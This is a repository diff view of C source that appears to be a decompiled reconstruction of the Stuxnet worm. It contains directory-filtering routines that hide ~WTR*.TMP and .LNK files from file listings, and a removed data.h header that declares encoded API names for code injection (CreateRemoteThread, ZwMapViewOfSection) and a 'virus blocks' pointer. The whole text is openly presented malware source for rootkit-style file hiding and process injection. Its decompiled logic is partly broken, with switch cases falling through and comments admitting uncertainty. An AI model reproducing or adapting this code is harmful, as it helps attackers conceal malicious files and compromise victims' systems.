----------------------------------------------------------------------**/
|
||||
|
||||
ULONG GetOffsets(ULONG FileInformationClass,ULONG* EndOfFile,ULONG* FilenameOffset,ULONG* FilenameLength)
|
||||
{
|
||||
switch (FileInformationClass) {
|
||||
case FileBothDirectoryInformation :
|
||||
*EndOfFile = FIELD_OFFSET(FILE_BOTH_DIR_INFORMATION, EndOfFile);
|
||||
*FilenameOffset = FIELD_OFFSET(FILE_BOTH_DIR_INFORMATION, FileName);
|
||||
case FileDirectoryInformation:
|
||||
*EndOfFile = FIELD_OFFSET(FILE_DIRECTORY_INFORMATION, EndOfFile);
|
||||
*FilenameOffset = FIELD_OFFSET(FILE_DIRECTORY_INFORMATION, FileName);
|
||||
case FileFullDirectoryInformation:
|
||||
*EndOfFile = FIELD_OFFSET( FILE_FULL_DIR_INFORMATION , EndOfFile);
|
||||
*FilenameOffset = FIELD_OFFSET( FILE_FULL_DIR_INFORMATION , FileName);
|
||||
case FileIdBothDirectoryInformation:
|
||||
*EndOfFile = FIELD_OFFSET( FILE_ID_BOTH_DIR_INFORMATION, EndOfFile);
|
||||
*FilenameOffset = FIELD_OFFSET( FILE_ID_BOTH_DIR_INFORMATION, FileName);
|
||||
case FileIdFullDirectoryInformation:
|
||||
*EndOfFile = FIELD_OFFSET( FILE_ID_FULL_DIR_INFORMATION, EndOfFile);
|
||||
*FilenameOffset = FIELD_OFFSET( FILE_ID_FULL_DIR_INFORMATION, FileName);
|
||||
case FileNamesInformation:
|
||||
*EndOfFile = -1;
|
||||
*FilenameOffset = FIELD_OFFSET( FILE_NAMES_INFORMATION, FileName);
|
||||
*FilenameLength = FIELD_OFFSET(FILE_NAMES_INFORMATION, FileNameLength);
|
||||
return 1;
|
||||
default:
|
||||
return 0;
|
||||
};
|
||||
*FilenameLength = FIELD_OFFSET(FILE_BOTH_DIR_INFORMATION, FileNameLength);
|
||||
return 1;
|
||||
};
|
||||
|
||||
ULONG FileCheck (ULONG* UserBuffer,ULONG NextEntryOffset,ULONG EndOfFile,ULONG FilenameOffset,ULONG FilenameLength)
|
||||
{
|
||||
LARGE_INTEGER FileSize;
|
||||
ULONG EntryPtr;
|
||||
ULONG PrevOffset;
|
||||
PCWSTR Filename;
|
||||
ULONG Length;
|
||||
|
||||
EntryPtr = 0;
|
||||
PrevOffset = NextEntryOffset;
|
||||
(ULONG)UserBuffer &= 0xFFFFFF00;
|
||||
if (NextEntryOffset == 0){
|
||||
return 1;
|
||||
};
|
||||
do{
|
||||
NextEntryOffset = *UserBuffer;
|
||||
if (EndOfFile == -1){ //FileNamesInformation
|
||||
FileSize.u.LowPart=0;
|
||||
FileSize.u.HighPart=0;
|
||||
};
|
||||
FileSize.u.LowPart = *((ULONG*)((ULONG)UserBuffer + EndOfFile));
|
||||
FileSize.u.HighPart = *((ULONG*)((ULONG)UserBuffer + EndOfFile + 4));
|
||||
Length = *((ULONG*)((ULONG)UserBuffer + FilenameLength));
|
||||
Filename = (PCWSTR)((ULONG)UserBuffer + FilenameOffset);
|
||||
if (Length & 1){ //mean couldn't be divided by 2 (That's will be strange because it's a unicode string (Wide char))
|
||||
EntryPtr = UserBuffer;
|
||||
UserBuffer+=NextEntryOffset;
|
||||
(ULONG)UserBuffer |= 0x01; //mov byte ptr [ebp+UserBuffer+3], 1
|
||||
PrevOffset -= NextEntryOffset;
|
||||
continue;
|
||||
};
|
||||
Length -= FilenameOffset; //I don't know why
|
||||
Length /= 2; //number of characters
|
||||
if ((((FileSize.u.HighPart != -1) && (FileSize.u.LowPart != -1)) || (FileSize.u.HighPart == 0 && FileSize.u.LowPart == 4171)) && (Length > 4)){
|
||||
if (StrCheck(L".LNK",&Filename[Length -4],4) != 0){
|
||||
memmove(UserBuffer,UserBuffer + NextEntryOffset,PrevOffset - NextEntryOffset);
|
||||
PrevOffset -= NextEntryOffset;
|
||||
continue;
|
||||
};
|
||||
};
|
||||
if (TMPCheck(Filename,Length,FileSize.u.LowPart,FileSize.u.HighPart) ==0){
|
||||
EntryPtr = UserBuffer;
|
||||
UserBuffer+=NextEntryOffset;
|
||||
(ULONG)UserBuffer |= 0x01; //mov byte ptr [ebp+UserBuffer+3], 1
|
||||
}else{
|
||||
if (NextEntryOffset != 0){
|
||||
memmove(UserBuffer,UserBuffer + NextEntryOffset,PrevOffset - NextEntryOffset);
|
||||
}else{
|
||||
if (EntryPtr !=0)EntryPtr = 0;
|
||||
break;
|
||||
};
|
||||
};
|
||||
PrevOffset -= NextEntryOffset;
|
||||
}while ( PrevOffset != 0);
|
||||
return ((ULONG)UserBuffer & 1); // cmp byte ptr [ebp+UserBuffer+3], 0 / setnz al
|
||||
};
|
||||
|
||||
ULONG StrCheck(PCWSTR TargetString,PCWSTR SourceString,int Size)
|
||||
{
|
||||
WCHAR chr;
|
||||
if (TargetString[0] == 0) return 1;
|
||||
do{
|
||||
if (Size == 0)return 0;
|
||||
chr = toupper(SourceString[0]);
|
||||
if (chr != toupper(TargetString[0]))return 0;
|
||||
(ULONG)SourceString += 2;
|
||||
(ULONG)TargetString += 2;
|
||||
Size--;
|
||||
}while(TargetString[0] !=0);
|
||||
return 1;
|
||||
};
|
||||
|
||||
ULONG TMPCheck(PCWSTR Filename,int Length,int LowPart,int HighPart)
|
||||
{
|
||||
int i;
|
||||
WCHAR chr;
|
||||
int Mod = 0;
|
||||
if (!(LowPart == -1 && HighPart == -1) && (HighPart == 0 || LowPart < 4096 || LowPart > 8388608)) return 0;
|
||||
if (Length !=12)return 0;
|
||||
if (StrCheck(L".TMP",&Filename[Length -4],4) == 0)return 0;
|
||||
if (StrCheck(L"~WTR",Filename,4) == 0)return 0;
|
||||
for (i = 4;i < 8; i++){
|
||||
chr = Filename[i];
|
||||
if (chr<'0' || chr >'9')return 0;
|
||||
Mod =(chr - 0x30 + Mod) % 10;
|
||||
};
|
||||
if (Mod == 0)return 1;
|
||||
return 0;
|
||||
};
|
||||
60
data.h
60
data.h
@@ -1,60 +0,0 @@
|
||||
/******************************************************************************************
|
||||
Copyright 2012-2013 Christian Roggia
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
******************************************************************************************/
|
||||
|
||||
#ifndef __DATA_H__
|
||||
#define __DATA_H__
|
||||
|
||||
#include "define.h"
|
||||
|
||||
#pragma pack(push)
|
||||
#pragma pack(4)
|
||||
|
||||
const WCHAR ENCODED_KERNEL32_DLL_ASLR__08x[23];
|
||||
|
||||
const char ENCODED_lstrcmpiW[20];
|
||||
const char ENCODED_VirtualQuery[26];
|
||||
const char ENCODED_VirtualProtect[30];
|
||||
const char ENCODED_GetProcAddress[30];
|
||||
const char ENCODED_MapViewOfFile[28];
|
||||
const char ENCODED_UnmapViewOfFile[32];
|
||||
const char ENCODED_FlushInstructionCache[44];
|
||||
const char ENCODED_LoadLibraryW[26];
|
||||
const char ENCODED_FreeLibrary[24];
|
||||
const char ENCODED_ZwCreateSection[32];
|
||||
const char ENCODED_ZwMapViewOfSection[38];
|
||||
const char ENCODED_CreateThread[26];
|
||||
const char ENCODED_WaitForSingleObject[40];
|
||||
const char ENCODED_GetExitCodeThread[36];
|
||||
const char ENCODED_ZwClose[16];
|
||||
const char ENCODED_CreateRemoteThread[38];
|
||||
const char ENCODED_NtCreateThreadEx[34];
|
||||
|
||||
const WCHAR ENCODED_KERNEL32_DLL[13];
|
||||
const WCHAR ENCODED_NTDLL_DLL[10];
|
||||
|
||||
#pragma pack(pop)
|
||||
|
||||
//const char szEncryptedSectionMark[5];
|
||||
|
||||
static BOOL bSetup;
|
||||
|
||||
static PVOID s_ASMCodeBlocksPTR;
|
||||
static PVOID s_virusBlocksPTR;
|
||||
static PVOID s_codeBlockPTR;
|
||||
|
||||
static HINSTANCE hINSTANCE;
|
||||
|
||||
#endif
|
||||
Reference in New Issue
Block a user